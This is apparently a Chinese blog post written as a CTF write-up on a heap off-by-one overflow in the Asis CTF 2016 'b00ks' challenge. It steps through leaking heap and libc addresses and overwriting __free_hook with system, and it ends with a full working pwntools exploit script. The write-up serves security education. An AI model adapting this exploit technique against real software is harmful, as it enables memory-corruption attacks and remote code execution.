本文最后更新于 2024年10月9日 上午
堆溢出_off_by_one
原理
顾名思义就是只溢出一个字节,溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据,或者用NULL字节进行覆盖,从而造成数据泄露,或者块结构数据的控制
接下来用一道经典的off-by-one的题目来详细解释
[Asis CTF 2016] b00ks

这个程序有5个模块
而在change模块中存在\x00的溢出

而change模块的数据是存在unk_202040

creatbook时malloc映射的地址时存在unk_202060


二者的偏移刚好是0x20,那么我们就可以\x00的溢出,把\x00覆盖掉来泄露出book的地址


可以看到创建book1的地址已经把\x00覆盖,打印author的时候就可以把book1泄露出来
1 2 3 4 5 6
| p.sendlineafter('name: ','a'*0x1f+'b') creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') printf() p.recvuntil('aaab') heap_addr = u64(p.recv(6).ljust(8,b'\x00')) print('heap_addr-->'+hex(heap_addr))
|
接下来是想办法getshell
知识点:一个chunk>144被free时会被放到unsorted bin 中,unsorted bin 的bk指针时glibc里面的,如果我们能够泄露,那么就可以得到基址,最后劫持__free_hook函数即可。
book1的指针和book1_des的指针地址实际上只有最后两位不同,我们只要控制号book1的大小,就能让book1_des的后两位为\x00,这样在堆溢出一次把book1的指针后两位覆盖,这样book1就指向了book1_des,而des是可编辑的,给我们伪造book1,即fake_book1创造了条件。
首先再创建一个book2再free得到unsorted bin


可以看到heap_addr到bk指针的偏移就是0x20+0x10
这里还要creat book3来劫持__free_hook,首先把fake_book1_des指针指向book3_des的指针,这样后面就可以通过edit模块,把book3_des修改为__free_hook,在把__free_hook的内容改为system,达到劫持的目的
那么我们fake_book1的伪造为
1 2 3 4 5 6 7 8 9 10
| creatbook(0x80,'cccccccc',0x60,'dddddddd') creatbook(0x20,'/bin/sh',0x20,'/bin/sh') delete(2) edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
change('a'*0x20) printf()
|
泄露出来的bk指针

查询这个指针上下200


发现__memalign_hook和__malloc_hook,这两个都是glibc里面的,这里选择__malloc_hook,偏移为0x68,即可泄露libc
1 2 3 4 5 6 7 8
| libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print("leak-->"+hex(libc_base)) libc_base+=-0x68-libc.symbols['__malloc_hook'] print('libc_base-->'+hex(libc_base)) __free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system']
edit(1,p64(__free_hook)+p64(0x10))
|
最后再把book3_des改为system,输入/bin/sh来getshell
1 2
| edit(3,p64(system)) delete(3)
|

最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
p=process('./b00ks') elf = ELF('./b00ks') libc = ELF("./libc-2.23.so") context.log_level = 'info' context(arch='amd64',os='linux',log_level='debug')
def creatbook(name_size,name,content_size,content): p.sendlineafter('> ','1') p.sendlineafter('size: ',str(name_size)) p.sendlineafter('chars): ',name) p.sendlineafter('size: ',str(content_size)) p.sendlineafter('tion: ',content) def delete(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('ption: ',content) def printf(): p.sendlineafter('> ','4') def change(author_name): p.sendlineafter('> ','5') p.sendlineafter('name: ',author_name) p.sendlineafter('name: ','a'*0x1f+'b') creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') printf() p.recvuntil('aaab') heap_addr = u64(p.recv(6).ljust(8,b'\x00')) print('heap_addr-->'+hex(heap_addr)) creatbook(0x80,'cccccccc',0x60,'dddddddd') creatbook(0x20,'/bin/sh',0x20,'/bin/sh') delete(2) edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20)) change('a'*0x20) printf() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print("leak-->"+hex(libc_base)) libc_base+=-0x68-libc.symbols['__malloc_hook'] print('libc_base-->'+hex(libc_base)) __free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] edit(1,p64(__free_hook)+p64(0x10)) print('__free_hook-->'+hex(__free_hook)) edit(3,p64(system)) delete(3) p.interactive()
|
作者理解的第一道堆题,纪念一下
【Asis CTF 2016】b00ks
[Asis CTF 2016] b00ks —— Off-By-One笔记与思考